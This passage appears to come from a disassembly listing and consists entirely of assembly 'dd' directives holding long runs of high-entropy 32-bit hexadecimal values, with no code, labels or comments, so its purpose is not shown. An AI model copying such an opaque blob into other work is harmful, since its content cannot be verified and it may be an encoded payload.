		dd 55BD152Bh, 0CE618D07h, 3552BBDEh, 569913D4h,	0E3E8D7DBh
		dd 5E6B458Bh, 0D5CDDFC6h, 0B842E06Fh, 0CA9EE5Dh, 0A3DBD33h
		dd 8F720F62h, 0D3AA2BD7h, 81E08B74h, 0BF0579F9h, 0E9CB3A5h
		dd 0B399F6EBh, 0D95FE07Dh, 74280AEBh, 28AC4BF1h, 0F39603A4h
		dd 0FFF7D6E9h, 0BCB6028Dh, 4280E827h, 0DE3FE4CBh, 0BD10C4B0h
		dd 0D04008EDh, 201B4191h, 6001C169h, 0A2EDBE56h, 0A0306B7Eh
		dd 9EF1599Dh, 95BF613Bh, 0EB0E1A31h, 0E45DA004h, 2F5D04A0h
		dd 4285AA83h, 8B8927E7h, 5BFA098h, 10B769C2h, 0FAF38050h
		dd 42C8908h, 1DE6C24h, 920B3403h, 0A0C99531h, 0F10D8799h
		dd 56303CB9h, 0AC93AD6Bh, 76610511h, 46AEFB4h, 836E6FA7h
		dd 5060FE79h, 2302DBE2h, 0D13DB106h, 2C491816h,	0B703378h
		dd 0E6D71BB9h, 34C600D2h, 456483ECh, 3D7D22D8h,	823FF800h
		dd 4C5818C5h, 83350BE1h, 4DD505C0h, 458460FFh, 4A5C16B8h
		dd 9188C0D6h, 60AA2F1Ah, 0D12CF2D6h, 9524295Fh,	908AA019h
		dd 0D8801850h, 0E3A87EEEh, 8A6014EAh, 9B02E9FAh, 905E6193h
		dd 58715BDDh, 0AAFC4F40h, 0CE978C4h, 9507BCC9h,	17C49AA9h
		dd 8218112Fh, 4214428Dh, 0F183827Ah, 0F2020906h, 31000161h
		dd 921EA98Dh
		dd 0F29D0964h, 2B0022B1h, 565AA3D7h, 0D3FF4F16h, 0C0B1DAEFh
		dd 1D76A83Bh, 0C5BD1889h, 29857F15h, 3FBFB1A8h,	72175112h
		dd 2CE93614h, 5FAD4D3Bh, 25E50AB1h, 0F77C663Fh,	0C18337D0h
		dd 0E4BE7F0Dh, 0D5C249FDh, 0AFBD0185h, 2CB565E4h, 0D8CD11DDh
		dd 1703B86h, 1D64CBA7h,	78BB9660h, 0B8182500h, 0B9943CF3h
		dd 3D9D2A8Bh, 2D5248F8h, 5ECB7F09h, 0C2A0DF8Dh,	70A2D3F7h
		dd 0DB5C0B29h, 90992228h, 2F7D2072h, 2BBD830Ah,	0DC31AE01h
		dd 24AF5784h, 129377Fh,	0C5204D80h, 80AA287Eh, 42D5BECCh
		dd 1DC8000Ch, 0B602745h, 1E115BDh, 757781E9h, 0C71CDDE0h
		dd 0CE648551h, 0D17BF5h, 2840CE07h, 7E072CF3h, 0C2F4C5Eh
		dd 0A28680BEh, 4CC9ECFAh, 0F03E03A3h, 2A5D5EAFh, 2FA14CF3h
		dd 0F2905338h, 997D301Dh, 0BE0BE000h, 3972F59Ah, 5D399002h
		dd 8D242A69h, 23816004h, 0CFE5FEFFh, 24192410h,	0DB8C660Bh
		dd 8F90E877h, 635C001Ch, 17CF4B48h, 870BD890h, 0F57E10F6h
		dd 2C9670C9h, 8C14F81Dh, 1A1B8548h, 51820361h, 0DEEDA689h
		dd 12396200h, 0DDAD28DAh, 605D1602h, 0F690BF90h, 3F0621h
		dd 178F5A80h, 1291F050h, 0BFFF2200h, 6997D3F5h,	0BABB15Fh
		dd 6D7F90CCh, 7745607Ch, 6A00DC23h, 0BE51578Dh,	2459BC39h
		dd 0A045F68h, 0F69B03E5h, 5EB02538h, 5D86BBFh, 609A84C5h
		dd 0A0E678C0h, 27469090h, 0C0F61C9h, 0ED7D704Bh, 38936031h
		dd 8AE2BE72h, 41DB7D01h, 0BE971E4h, 169E4040h, 49740720h
		dd 0F451086Ah, 3A8F804Ch, 0B6300F6Bh, 0C9CE96D8h, 6BA38D6h
		dd 15F8874Ch, 7D4A288Ch, 0DEFE1EE3h, 35572F8Bh,	0ABDF8BF0h
		dd 0AA093B50h, 204E8C1h, 211FED99h, 0E433E2F7h,	12C02D1Dh
		dd 8950D82Bh, 0BA245B1Ch, 0ED02A36Bh, 60F8981Dh, 80F9CC80h
		dd 2CE361F0h, 0CE8C4B4h, 5D2AED40h, 1C00CAD8h, 0BB2973C9h
		dd 258B1495h, 0BBBA5EF2h, 2E64F34Dh, 5079A9C3h,	240F3B79h
		dd 2913F9B7h, 181CD15Eh, 69DB0071h, 0CCDC2D2Bh,	13905497h
		dd 16F624B0h, 12613C80h, 0C253830Fh, 0E4AFC82h,	589453F5h
		dd 220051BBh, 592C64BCh, 0DC8C0FB8h, 2F322421h,	91571D5Fh
		dd 0B005811Ah, 37C03B95h, 0B5293C0Fh, 8B7F2FA0h, 5B78A393h
		dd 79A9096Eh, 8701F98Bh, 2537E9EEh, 0B8532D3Eh,	0BDC10013h
		dd 770932C2h, 8899FC37h, 2380969Dh, 1A6BD9DFh, 847B00E1h
		dd 0BF7A2980h, 89126288h, 74545F02h, 6BAE5B6Eh,	61D80018h
		dd 9E772A7Fh, 0F7132F22h, 895790D7h, 58D5448Dh,	23F19AB8h
		dd 880F0BA7h, 2BE294Eh,	40E8BA5Bh, 9CD18570h, 0C9611617h
		dd 94A96B71h, 0D3CC7800h, 0D6AF5FA7h, 6071BD05h, 5D8088E0h
		dd 9008A90Fh, 819970E5h, 46696C5Eh, 2C01F0B1h, 0B0630284h
		dd 75FE2723h, 0B1C96841h, 1C51D2C7h, 0D9709104h, 38766DABh
		dd 0B09670E0h, 0E25202DEh, 5937CAF5h, 90B6DD8h,	6C1B45B5h
		dd 8971444Eh, 2ACD8516h, 281B728h, 3267C4EFh, 166D5B14h
		dd 9D2BC5E3h, 2EA5AB04h, 62825309h, 37DB5EF1h, 69E2A12h
		dd 50E6BFC7h, 41E92E8Dh, 5A7BE88h, 8B76A05Ah, 0EEA6BBC0h
		dd 12430AB0h, 1CD76C3Eh, 3A16888Ah, 0B06F90BEh,	0AB00695Bh
		dd 959DC1F3h, 3A096B06h, 0AF96117Eh, 4554D757h,	0D5ECC1F0h
		dd 0B182400Dh, 0CFA03D79h, 0B235D781h, 0B6BEA2ACh, 886AB3C8h
		dd 16E3BAABh, 8FBECF7Ch, 5A0D22F1h, 89D530F9h, 2C5A3DB5h
		dd 973ADB74h, 0EB001C23h, 0A63A22AFh, 496C160Ch, 26372952h
		dd 1C67B1A8h, 50D9AD7Fh, 904BF01Eh, 2D242C08h, 0CC5DBD8Bh
		dd 419C00D7h, 8E52ADA7h, 6302B50Dh, 847EB233h, 186BEAE5h
		dd 25F4E4h, 0A429F21Ch,	2EE7EDD2h, 8C04BEF2h, 5E100136h
		dd 2A0C5182h, 0A7D0867h, 0E98D2902h, 0AFD3DF11h, 166E978h
		dd 0A0BD7F6Ah, 8281ABE7h, 8509FB9Eh, 299A4B21h,	0D1CAF212h
		dd 9C91818h, 3D104B1Bh,	0A0C0A7EDh, 5B29AB90h, 0AA16BA85h
		dd 0B384269Bh, 0C2019B02h, 0DFF63C35h, 290C8550h, 8A14C595h
		dd 915CBD60h, 0B3CC3193h, 3EB60682h, 0D0BEEFC8h, 0F60BB802h
		dd 6AB19509h, 8AFF1884h, 0A5AE0526h, 0FABD9460h, 611F21B7h
		dd 0C323B89h, 5D8E439h,	0AA22EBh, 84916AF8h, 2E1678B6h
		dd 4B03A40Ah, 0D4767F64h, 7B50C800h, 8BC27545h,	958918C1h
		dd 0ADBF5955h, 5A60DB38h, 180FF37h, 0D415798Dh,	0DA500DF1h
		dd 612A4025h, 0F816D294h, 0C2DF9AFBh, 0DD4E1FA8h, 7C7A56F2h
		dd 8314D00h, 493664DEh,	3892D34h, 808E3C9Ah, 9000A3F5h
		dd 3E35BE53h, 5F0F7574h, 2740BF50h, 6DE91BC7h, 0FB61C565h
		dd 0D6F082F6h, 933C98E4h, 8B9A05BBh, 0A2FE6AF1h, 0A45C16F2h
		dd 7CB19CFFh, 19690900h, 5E08B1FAh, 0D8F0C156h,	7606230Ch
		dd 805DF000h, 6EB10EC8h, 7EC90327h, 5485618h, 0E6FA5C0Fh
		dd 7096A02Bh, 75F1D0F5h, 66340A6Fh, 0ADEB638Fh,	6B184509h
		dd 490053D5h, 0AB18C8Fh, 0A587B65h, 24734ED9h, 68908CCh
		dd 0F24C520h, 60463F83h, 6F36250h, 0DF061FEh, 754AFD98h
		dd 0F56A4F0Bh, 6BC0FECDh, 1164671h, 0BFE9AA58h,	8ED5C54Dh
		dd 118D0F4Fh, 1206355Ah, 8DC35664h, 0B8C82905h,	0D6720180h
		dd 37A6E1Ah, 33EC6FBDh,	53D3FF0Ch, 5B65EF6h, 73EE961h
		dd 0E2B1FD68h, 0B839090Ch, 7A010DA8h, 3C8B8F9Eh, 0A4E9A54Ch
		dd 0D7F3EB68h, 8BFC3B04h, 0ADD5C19Dh, 0A70BE26Fh, 8302C98Ch
		dd 0E6091C31h, 8D090DE5h, 3D18186Dh, 805C22CFh,	3F83F9C1h
		dd 235A2ABDh, 1E4E2ECCh, 2200276Fh, 0D7BE9B6Fh,	7C3D358Ah
		dd 7F21EBE9h, 88B090C4h, 0A3CC76D3h, 318A4B0Fh,	10AAD01h
		dd 114132E9h, 1E49F6B7h, 64F8923Dh, 0BB6291Fh, 37B57980h
		dd 0A68DCEAAh, 34F55AC9h, 9F87F18Dh, 92E02D9Ah,	3C0F41E1h
		dd 65448D80h, 0ACC3FD7Bh, 2D2525E7h, 82DCC51Bh,	5220128Bh
		dd 130EDEh, 4FCA3D83h, 9438156Eh, 71E4B502h, 415F1169h
		dd 0FEA85EB0h, 0A7E915F4h, 0E4ECE903h, 48611826h, 6D25B01Ch
		dd 8BCBC0D6h, 0E62F0348h, 0C135F570h, 0C411CC81h, 0E8AE9A49h
		dd 1E00DC51h, 6632E193h, 75C5692Dh, 0DEBE137Dh,	8828CFEDh
		dd 0EC51C015h, 7CBFB523h, 221127B3h, 697A2056h,	5E0740h
		dd 0CE81C38Bh, 6E95EA97h, 5D2FE29Ch, 0E78122B5h, 0C19531BCh
		dd 143DD1CEh, 87003EE9h, 0D82E70A9h, 2B74F9C5h,	16DC3FB4h
		dd 8564E5D2h, 3183A03Dh, 6812A55Ah, 0EC331A8Ch,	8D0F61C9h
		dd 0C60AEF81h, 385A38D3h, 262BF0FCh, 4E6385Ah, 0A51C21B5h
		dd 4EA87FFBh, 59B7B02Fh, 8201BC93h, 199D89F7h, 0A351A7A8h
		dd 27C47631h, 8E90EEE3h, 373C1B55h, 0C4701C0h, 8BC87A5Fh
		dd 0EFF530E4h, 0F0265369h, 214DA569h, 0A7FBC0CFh, 42E92C37h
		dd 0C1330008h, 0C868EDDh, 1A57924Ch, 0B7F58D29h, 7B9E660h
		dd 16B74093h, 40A30ED5h, 226A4Ah, 55F17664h, 126BBF5Ah
		dd 5251E67Bh, 716F5Dh, 2B565F98h, 91114DB5h, 53BF835Eh
		dd 0E4BF1D01h, 0C0179BD8h, 716508FEh, 0AC584838h, 18C1AE8h
		dd 0FD432BD7h, 0D8A03BF5h, 2F5A85BDh, 96083E37h, 7F3389F5h
		dd 92AC6FE9h, 5DBBC19Fh, 0EC7F1D35h, 90539687h,	0DD6F42C5h
		dd 5EB1180Ch, 2EB4FB48h, 174FA291h, 0D0D0AE0Dh,	1083899h
		dd 6BF7EEFh, 20D3A1BDh,	9BCBE1B8h, 451D445Eh, 5F52366Ch
		dd 88941223h, 1F326BF1h, 17D04F8h, 86267230h, 79DB2054h
		dd 15B53C1h, 0D7743DB5h, 60C3042Bh, 0B069858Bh,	61F0526Eh
		dd 15B45E72h, 4562DC4h
		dd 0F8E9FB06h, 0E84C4D54h, 90FD1254h, 15ABC22Eh, 59C08B02h
		dd 0C2341FEFh, 0BF8A0AD4h, 2994E0F5h, 73092716h, 72FDF092h
		dd 0BE4EB00Fh, 7D3582ABh, 0B4EA55ABh, 4E1852F5h, 34C6DB16h
		dd 5ED7940h, 0F3010CB8h, 61B2BC50h, 0AA405AD1h,	9D681C1h
		dd 0E5B267Bh, 0E96736D0h, 44790FB1h, 450D9ED1h,	5F08A7F5h
		dd 0A200BD6Ah, 5431210Dh, 2614F6E5h, 10964DC2h,	603F18E1h
		dd 53F1B513h, 0D95D30E9h, 80BF255h, 146177C9h, 5991B921h
		dd 7F3D181Bh, 0FC103BC8h, 4BF0792h, 92B016Ch, 7023FB90h
		dd 9A0B26BEh, 826153CDh, 6DF2F922h, 29B7E202h, 7AF50C42h
		dd 0ADB51071h, 2D01241Ah, 5795182Ah, 0F480E735h, 4DB7F7E2h
		dd 926F48FDh, 4F8C14E8h, 7E1120C1h, 370015C7h, 4C015A8Ah
		dd 4EA9DC78h, 0B0B2888Fh, 3CF50400h, 3115F136h,	96733AE0h
		dd 8276231Eh, 0A9EA337Bh, 0A3710E7Bh, 0F0051D39h, 0D5518509h
		dd 0E53CF601h, 0CD01D8FCh, 0F1ADF433h, 0D4F20A2h, 0FED81141h
		dd 0F8EA1CE9h, 4B4D67FFh, 57D983C0h, 0D8F6BD92h, 0CB85F7C4h
		dd 0B010B6EBh, 0BD5D4FFh, 493CB690h, 7C8BEA77h,	784503Dh
		dd 0EE3F3400h, 0EB36A33Bh, 8C76BD04h, 0E6EF00F6h, 0FC199376h
		dd 0AB0EC20Ch, 6E5051F8h, 138D365Eh, 0ADDFF97Bh, 0FCC403DDh
		dd 0AB5048DEh, 174BE13Eh, 810C9B62h, 1591DD22h,	2978046Bh
		dd 0DDAF1D2Fh, 2963772Bh, 6BAF5E5Eh, 3F6102ECh,	0C2101DB5h
		dd 0AFA773E4h, 80881FD5h, 0AFCE3CEDh, 5B282BCFh, 7D18AA9Ah
		dd 69B92316h, 9CFEBF02h, 74A09A67h, 0F411B980h,	0C840137h
		dd 0F395B8CAh, 5621680Bh, 826AF2B7h, 70CCD9Bh, 88731F50h
		dd 3F5F0544h, 88DA28EBh, 1F3D7605h, 5DA26D8Dh, 0F99E5C00h
		dd 0FC2594A8h, 0A53B9800h, 1053A66Bh, 0F5E005Fh, 0BF665731h
		dd 5AF0DF13h, 0FD82C198h, 0BF80EEB7h, 439751B6h, 0A3261A09h
		dd 0FBDF48B3h, 0F042592Ah, 0F176F8E6h, 3A46E60h, 278D3139h
		dd 9CC72C35h, 6A601AE4h, 72090E4Fh, 8979EDA4h, 5894E63Ah
		dd 112AD660h, 0DA8101FAh, 25414BADh, 0CF9D6861h, 2F6CE66h
		dd 0FFD3FFFBh, 6D582B7Bh, 97300099h, 6E28F558h,	5BB805D8h
		dd 9F30FB5Ah, 9ED5BD89h, 0E3A293CCh, 168784A2h,	0A08AE625h
		dd 206F0CFh, 6AEAFA58h,	7D40F42Bh, 0D6821391h, 0AD9E27AEh
		dd 2D019A20h, 0AF03F38Bh, 265A2009h, 0E580489Bh, 6A1F64CDh
		dd 5C880E4Eh, 8F770051h, 7B252DEAh, 3A273E18h, 0A5A1CECAh
		dd 6316C435h, 0F0A883A6h, 2DED0DEFh, 0D9891865h, 0ADC4DDE9h
		dd 0E0B3ED2Ch, 0D70FB1CBh, 31088675h, 2607559Dh, 894560EFh
		dd 9300B992h, 0C690C5CAh, 0B958B36h, 1457BD83h,	21451264h
		dd 2B89F5DBh, 7ADBD920h, 0C8885A6Ch, 0B6E2DE4Dh, 0E97B4F0Ah
		dd 7E250B91h, 2C760E0Bh, 172E85AAh, 0F9EEB01h, 0F345E180h
		dd 500B63Bh, 96C15FAh, 0CD084195h, 7B2F52E7h, 7CACDCADh
		dd 0A3CB0D00h, 28520F86h, 5E8C52D5h, 1BE48770h,	218C9F60h
		dd 9AEC204h, 0EF85D2FBh, 0CCB65D25h, 427687E0h,	0BA222F00h
		dd 0DB52B94h, 0F7149F08h, 74F79B0h, 6B89F788h, 6A4C1285h
		dd 35203C45h, 5F3A25F7h, 9D89FF98h, 6B27512Dh, 2DA88D66h
		dd 1B3DF313h, 8BA210EDh, 14489293h, 64F3482Dh, 0EEF09004h
		dd 0C657812Dh, 1C6251FFh, 55E9495Fh, 88F3342Fh,	0C200A436h
		dd 1DEB0C53h, 0E651E7B6h, 0C14F05C3h, 0FBB05F21h, 3FF188E6h
		dd 75ED7B29h, 97DF8100h, 0E6107513h, 6BEA705Fh,	59820EF6h
		dd 289A586h, 10C7A404h,	0EA5F89F8h, 92D8D6Bh, 6E735B89h
		dd 0C95D70h, 0D16C54F2h, 0A967A53Fh, 0B4E796C2h, 1322D136h
		dd 58C58260h, 25790561h, 0C3B9E322h, 4A0468F9h,	8E840ADBh
		dd 294FF094h, 0F02D8D26h, 7F82DBCh, 97EF6008h, 0D9C0B097h
		dd 0B7D82B61h, 0AD813EF4h, 3D6CDEFh, 0B593B0F4h, 8E80593h
		dd 9F019E4Ah, 0DDE61475h, 7533504Dh, 39F8BD00h,	0C29CD4A8h
		dd 7DCA1B02h, 4D93F724h, 62E0EFE0h, 6A5C556Bh, 1AD90D27h
		dd 25F4DE9Fh, 0EB61649Ah, 2F16280Dh, 1437F5B0h,	9B465D25h
		dd 0E6C68104h, 0AE83F710h, 0DA1AF2BDh, 7046BB68h, 38000D63h
		dd 15D4BF5Ch, 358529A6h, 1756236Dh, 5BDABA5Bh, 0A273ACC1h
		dd 1DA49F25h, 45F0C6A7h, 0F0FA6663h, 1BB63BDh, 0BAD96F7h
		dd 38097C55h, 5F9695F5h, 0F98E78DBh, 0B4CFF846h, 0B0E2920h
		dd 2318501h, 0F3EB96Ch,	0EF88CA80h, 0DC92B6C3h,	5510F317h
		dd 9E2C8BFh, 31B9BD10h,	207EBB55h, 72D4D692h, 1821C202h
		dd 4AE04E34h, 70A2D3A1h, 10120FB4h, 0B713AFF1h,	0DA856B9Bh
		dd 0E52583E1h, 0D9580BF4h, 1E2001DBh, 200F8747h, 0D120BDF1h
		dd 0DFA60Ch, 8465AD20h,	265FA83Ah, 61E1A916h, 2150C0D2h
		dd 64A5B529h, 0DCFF601Ah, 0B0BF08E5h, 266E83Bh,	1A65837Bh
		dd 0D7E909Bh, 766F5525h, 0B580F244h, 5BDA9AD5h,	0FCD009A0h
		dd 4D5A5456h, 2796023h,	0F21C93E1h, 8BAC0626h, 0A159D08h
		dd 2F278F0Fh, 0E2D09842h, 9D44CCB4h, 4A953146h,	55E9BA9Dh
		dd 89424FDCh, 92757E8Dh, 0E77CA65Bh, 0A42B4EF3h, 0E6C05FDBh
		dd 55EE31FBh, 897BA104h, 90F821BDh, 8920FB5Fh, 8BAAA2h
		dd 7F5FB749h, 0D099CD58h, 0BF592ECCh, 1179FB5Eh, 0D8AE1988h
		dd 4A491440h, 11C60005h, 0C730697Eh, 2B6BE9A7h,	0A2560021h
		dd 0BFC08BDCh, 48009837h, 29DA3B57h, 1B05209Dh,	0E4544795h
		dd 0C731601Ah, 8A450A2Eh, 1CF9E6C0h, 0E181D4FBh, 0E485D29Fh
		dd 5F16F754h, 26A03727h, 0CA806983h, 0F1C0046Dh, 2AEA7ACh
		dd 31EF4114h, 56F101BAh, 0AF5725E4h, 0C442C2C9h, 66E5ABE9h
		dd 80DBB129h, 73BC9F0Fh, 91007032h, 0A2121192h,	0BCA5DD8Eh
		dd 18DBE93Bh, 0F28F2750h, 95DB103Dh, 2D992E34h,	64464DA5h
		dd 20986015h, 4ABE7D66h, 395A05DBh, 0E92AA414h,	81012341h
		dd 306930F1h, 0DE02F22Ch, 0E5C24E13h, 0D7438B30h, 0ECE4009Ah
		dd 0DD7C1913h, 0E590521Bh, 122BCD20h, 0E9BD335Fh, 0A29B4E06h
		dd 92BCB080h, 0E7F859AEh, 0B9EEBE00h, 9D09375Ch, 1F8EB655h
		dd 777C02F8h, 82556CFDh, 66515270h, 90DEBDF1h, 0CCF62512h
		dd 396C1CE0h, 2C053472h, 83BDDDCh, 122056A8h, 0E5438495h
		dd 0D1B819EDh, 28549E07h, 0F9858097h, 5FFFD0C1h, 9C1027Bh
		dd 51F8D595h, 0B537BFh,	685F8AAAh, 1120B523h, 0B8BEDC02h
		dd 642FE940h, 9DB669F7h, 0DB602392h, 86FD8903h,	4B5DED3Ah
		dd 0A4EC1CB9h, 4F00DEFFh, 155461BFh, 24D06726h,	86E7D13h
		dd 93B1695h, 0CA8D21D3h, 0E0FE4D4Eh, 191DB4ACh,	0E20F9619h
		dd 30400D50h, 0D110D19Dh, 830B340Dh, 0E6FD01E1h, 9DA1FEB1h
		dd 42AC40Dh, 0E2F2F621h, 2931A761h, 0E1DB160Eh,	798675C0h
		dd 4C793257h, 8531AC0Ah, 6196F239h, 0BDC1E983h,	986DD72Dh
		dd 770B50A8h, 82DFE7C4h, 80CC9B6h, 6B7A25A8h, 0CC783D93h
		dd 8BB01245h, 0F78A0DF1h, 5F576B52h, 0CE17086Eh, 52B27Ah
		dd 0D5E16C84h, 491B71Bh, 24D77DCFh, 4D888141h, 8258022Dh
		dd 3D2AD1EBh, 0CA01CC9Fh, 4B35AEF4h, 95822223h,	7122DB5h
		dd 69B22972h, 443D4E08h, 0C7518B02h, 8E0530E5h,	5FE33F53h
		dd 2D80D3DBh, 5626025Ch, 13B1E704h, 0ABC7D24Ch,	8490BFD2h
		dd 20957DBEh, 21E2E0F6h, 0EA5DE60h, 0C5504A83h,	81E6EF51h
		dd 6C64FCE0h, 3BA0C119h, 9FE4E8A8h, 63E32880h, 555782A3h
		dd 48D6B37Ch, 6D1566A7h, 0EFDDBF06h, 196BDD5h, 0ECB47DDAh
		dd 897F508Bh, 1353D99Dh
		dd 5D242534h, 0AD408C6Fh, 25BBED7Eh, 0E1E2D329h, 73551589h
		dd 781E5815h, 45C7AE05h, 6E04759h, 925F95D1h, 4F3D95CEh
		dd 7ECE7D40h, 8909B488h, 419F383h, 2904F8F9h, 0E8DCED2Ch
		dd 1ECF095Ch, 0ED71F7B4h, 28350A03h, 1713D3AEh,	7B1EC162h
		dd 0C3116C7h, 0A2AD7E12h, 55A8B2Ah, 56C77BEh, 2AED3D51h
		dd 0EF5F7E6Ah, 8D866635h, 35618270h, 0B99F802Ah, 0E590BA66h
		dd 4A2F3A1Dh, 0E95B8C5h, 6A3B5B2Dh, 977F0327h, 12BB2F91h
		dd 12AF2C5Ah, 0B861A948h, 3A97F43h, 0FE51063h, 1F76088Fh
		dd 818E8E4Ch, 85C76160h, 0B6D3172Dh, 61F5E1D0h,	9FB82129h
		dd 5801ABE0h, 0C49033A9h, 0B540D19Eh, 2D29DF7Bh, 2B80158Dh
		dd 9D6107EBh, 0E052E95Eh, 168000DBh, 1DCAAFDh, 2B3DBD11h
		dd 0DE23DF26h, 0ED134007h, 0FD2353Eh, 641E5E8Bh, 4BEB00CFh
		dd 0F0E0910h, 1AC53C2Fh, 0A4ACDA00h, 0D238D41Ch, 3E4B85Ch
		dd 0F53134CEh, 0B327A81Bh, 3D17929h, 2AC7DD5Bh,	0E7E717E6h
		dd 0DB67A1DFh, 19FC2A6h, 0E6412800h, 57DD427h, 0BBE9C372h
		dd 0E880AD0Eh, 0F37502FCh, 2CDBD89h, 18CEDD0Bh,	10896944h
		dd 5E1E118Dh, 2F201CFEh, 0D7038837h, 908DCC32h,	256AFD56h
		dd 6990FCE4h, 7201C8ABh, 0DA8BF9AEh, 6F3E04C2h,	0F0220439h
		dd 0B4C03A53h, 120B51D3h, 0FD267D9Dh, 0E1C02715h, 400420DBh
		dd 15401141h, 0FCBDADBAh, 0C13F9AFh, 9D8D88D0h,	7FAD782Fh
		dd 1145A934h, 46C51A08h, 2F094FACh, 4031CF1Ah, 0EF95BCE9h
		dd 7F1A0575h, 20AA07B3h, 0AC250475h, 8DA1027Bh,	23248085h
		dd 0AC4056EFh, 0F8FC51EDh, 47419E01h, 0A42D1083h, 5A000556h
		dd 8061B3D2h, 0B5A3752Ch, 0DDE2F711h, 0D757200Fh, 8E57E501h
		dd 71DB19B8h, 8064A87Fh, 0C0E9E381h, 5A6E3950h,	283498F4h
		dd 25848583h, 9A402404h, 0D0C8A5FEh, 0C429923Dh, 6079F035h
		dd 4AD08B3Ah, 5F6A88BFh, 0DFD52BBDh, 0D065EAEDh, 0EF5F81A2h
		dd 0E1A44060h, 95FF095Dh, 0A2DB1F21h, 171AED0h,	2114CEB3h
		dd 2E8A11BAh, 0D0BB0960h, 3D8B6BB2h, 1B10E3B7h,	468E7E04h
		dd 0D69C8208h, 51689241h, 0DFBD33A5h, 922616ECh, 0BC76F348h
		dd 40F637F0h, 3A7CC002h, 3BA2970h, 767B0EF2h, 90887B8Bh
		dd 95B579A1h, 4D64BA7Dh, 9CD1E00Fh, 1A903E29h, 0E4FD217h
		dd 2E8E8DEEh, 8D00A96Eh, 0FDD8B6A4h, 3E13A6CCh,	9E046038h
		dd 41209D9h, 0AE118516h, 0E861B945h, 0A7D2E220h, 0FD4129Ah
		dd 0BAD12084h, 63125F7Dh, 0DC305039h, 293D65FCh, 3F866CCh
		dd 59F88A57h, 0CA5E92C5h, 0BA02FE64h, 499B02D0h, 0DCCD5E58h
		dd 826ED200h, 0FF71285Eh, 9532E6B5h, 0A64A4DDh,	22799320h
		dd 7E6E6EF9h, 0A6EDEB00h, 9589687Dh, 0F704B95Ah, 0ACAAD0FFh
		dd 8A949D2Fh, 0DD80092Ch, 0C150A3Ch, 0FD8D2340h, 866B11Ah
		dd 0FB640A11h, 0F308F950h, 8BE2F640h, 0BE28558Dh, 0B5E263CBh
		dd 0D7AB7640h, 4C8504Fh, 0F2330323h, 6EC67886h,	6FBE0688h
		dd 90D36702h, 91385824h, 882A50CFh, 0CC005283h,	4A18272Dh
		dd 154358Eh, 2E896999h,	616F9157h, 0EC5CC24Dh, 13D56588h
		dd 0E3EA8860h, 94FB9B00h, 55AF742Eh, 0D2290068h, 4DB95860h
		dd 631789EEh, 305A61h, 2DAEDEBAh, 0D6CD20B7h, 291C2AE0h
		dd 23A813BEh, 7ADC21Fh,	2FB96600h, 2D0D935Ah, 0F5C0634Dh
		dd 1D754E03h, 6FD707FDh, 950B9A5Eh, 81F160D1h, 2E9D09F2h
		dd 38326963h, 0F95DB089h, 0DB7227B6h, 0F12FF84h, 80EDBB7h
		dd 0CC4F0F9h, 9A9AB01h,	0C5E672BCh, 21B59B0Fh, 2663F209h
		dd 0ED807756h, 2746F802h, 906D393Dh, 634D53D4h,	6085522Ch
		dd 0F8319D85h, 0EA613D00h, 0A636EBAFh, 0BA650170h, 3F229EFEh
		dd 0E009215Fh, 6628126Ch, 8B45F534h, 48D1E49h, 0B72A5951h
		dd 0CBE40820h, 262B0B99h, 0B600B6D2h, 9AC295F1h, 134AFBE1h
		dd 9B58560Fh, 0EC28077h, 23110CFh, 933AF115h, 527E525Dh
		dd 50AC2C40h, 98030B7Fh, 1881D268h, 0E43C10E4h,	5B715952h
		dd 0BF012893h, 35B21866h, 65953432h, 80E3AACh, 0E91CF201h
		dd 0D618081Dh, 78270D29h, 0B9F5950Fh, 0BE2A6C49h, 15818624h
		dd 68001701h, 0AAE46EB6h, 815CD9F6h, 96CD3F23h,	7A6304Fh
		dd 0CA8A29E0h, 40C97EBFh, 3169BD23h, 0C9007EBFh, 0A370D6FBh
		dd 7F5816F1h, 3F26E25Bh, 872E3F39h, 0D9F26C1Fh,	41D02500h
		dd 0E4520293h, 85BE7C24h, 0F29DAF49h, 6CF4B6F2h, 0B17D3B2h
		dd 0B344698Dh, 6EEA046Ah, 0EC65121Dh, 0C0002AE2h, 1421A6D9h
		dd 472D31F2h, 4AAC64E8h, 5ACCAB10h, 91B30082h, 3B1E2C13h
		dd 0F426D1F3h, 0DA12DB50h, 93818F25h, 81EB3C86h, 276A6051h
		dd 56A0B0EEh, 1E009869h, 6A6F0B8Fh, 1363943Eh, 10619E80h
		dd 8B092207h, 225658D8h, 0ED7F01DCh, 0D99533F2h, 0D3680005h
		dd 0A1D06EAh, 0E243481h, 0F7B11C77h, 3916D4A8h,	5D038494h
		dd 63174EC2h, 0FBE70E7Eh, 0F195FFB8h, 5FDE1F5Bh, 75FD409Ch
		dd 976AC6Ah, 0A027B905h, 0F1081992h, 75FDA078h,	0BDB183C9h
		dd 80547855h, 59687AB6h, 97DC2C0Ch, 0BFBB845Fh,	0E33617FDh
		dd 354B911Ch, 0A7994704h, 36830F3h, 65C9A99Dh, 0A2659390h
		dd 0D58A025Fh, 10BD6764h, 0E02E1Ch, 1DB1A956h, 7B5E67F4h
		dd 0EF4A5B18h, 1253502Ch, 8D5F5260h, 90E902F9h,	29701D53h
		dd 0E85D7653h, 2DF92A95h, 6E0B5F82h, 0DE250F2Dh, 5EC9C97Fh
		dd 99C6405Ch, 0CDE0F1DBh, 0D28ED100h, 82FDFEDFh, 7D10090Bh
		dd 485FFA2h, 0E8CD4945h, 79C26410h, 648E4B00h, 62D486A6h
		dd 0F30305C8h, 40334E99h, 71088A31h, 0D90035C5h, 28C85101h
		dd 11BEF4Bh, 6DACF721h,	7F505B60h, 3607CCBDh, 0F0692F6Fh
		dd 0EE8AABE4h, 7CA3BB96h, 4F42658h, 8B8AC176h, 886185FAh
		dd 230C60E3h, 0E1CE985h, 990300BAh, 8D615C30h, 0F4D64FB5h
		dd 30C7969Bh, 0A7FC12BAh, 22960B78h, 89390504h,	7204BF85h
		dd 1C190DADh, 9A70FDBFh, 421E53E9h, 7A5457FCh, 706053E9h
		dd 4329686Fh, 8C80CC28h, 0D39A04BFh, 6C740355h,	0E27F3F1h
		dd 0A094A5C8h, 0C3987DE4h, 257BB797h, 312C74C6h, 5086413h
		dd 0B5243B16h, 628947F5h, 0C7011341h, 0D4F27085h, 34646BBDh
		dd 7B947600h, 80183889h, 9520707Eh, 17D905Dh, 5B92D9Dh
		dd 0C985B2C8h, 268D0B40h, 250D2046h, 6F256298h,	737426CDh
		dd 8D43DE61h, 0B6254A47h, 0B4E4E047h, 806C01F5h, 0DA833A01h
		dd 0C56E3A40h, 0E81C13h, 0B4D9CFBCh, 0F0C53880h, 0FF0D485h
